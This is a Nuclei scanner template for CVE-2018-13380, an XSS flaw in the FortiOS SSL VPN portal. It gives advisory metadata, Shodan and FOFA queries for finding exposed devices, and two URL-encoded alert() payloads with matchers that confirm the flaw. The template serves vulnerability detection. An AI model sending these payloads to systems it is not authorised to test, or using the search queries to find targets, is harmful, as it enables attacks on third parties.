id: CVE-2018-13380

info:
  name: Fortinet FortiOS - Cross-Site Scripting
  author: shelld3v,AaronChen0
  severity: medium
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix this vulnerability.
  reference:
    - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html
    - https://fortiguard.com/advisory/FG-IR-18-383
    - https://fortiguard.com/advisory/FG-IR-20-230
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13380
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-13380
    cwe-id: CWE-79
    epss-score: 0.22877
    epss-percentile: 0.95973
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - port:10443 http.favicon.hash:945408572
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve,cve2018,fortios,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B"
      - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1337)>"
          - "<script>alert(1337)</script>"
        condition: or

      - type: word
        part: header
        negative: true
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a004630440220768db7a8bc70f7d2ca88c844b99cb24458dca0887fbdb2c9db6f8f4ea3ffedb80220786165574548f50d597680552c40590ca289f01ed5abe94286525d8660b7e988:922c64590222798bb761d5b6d8e72950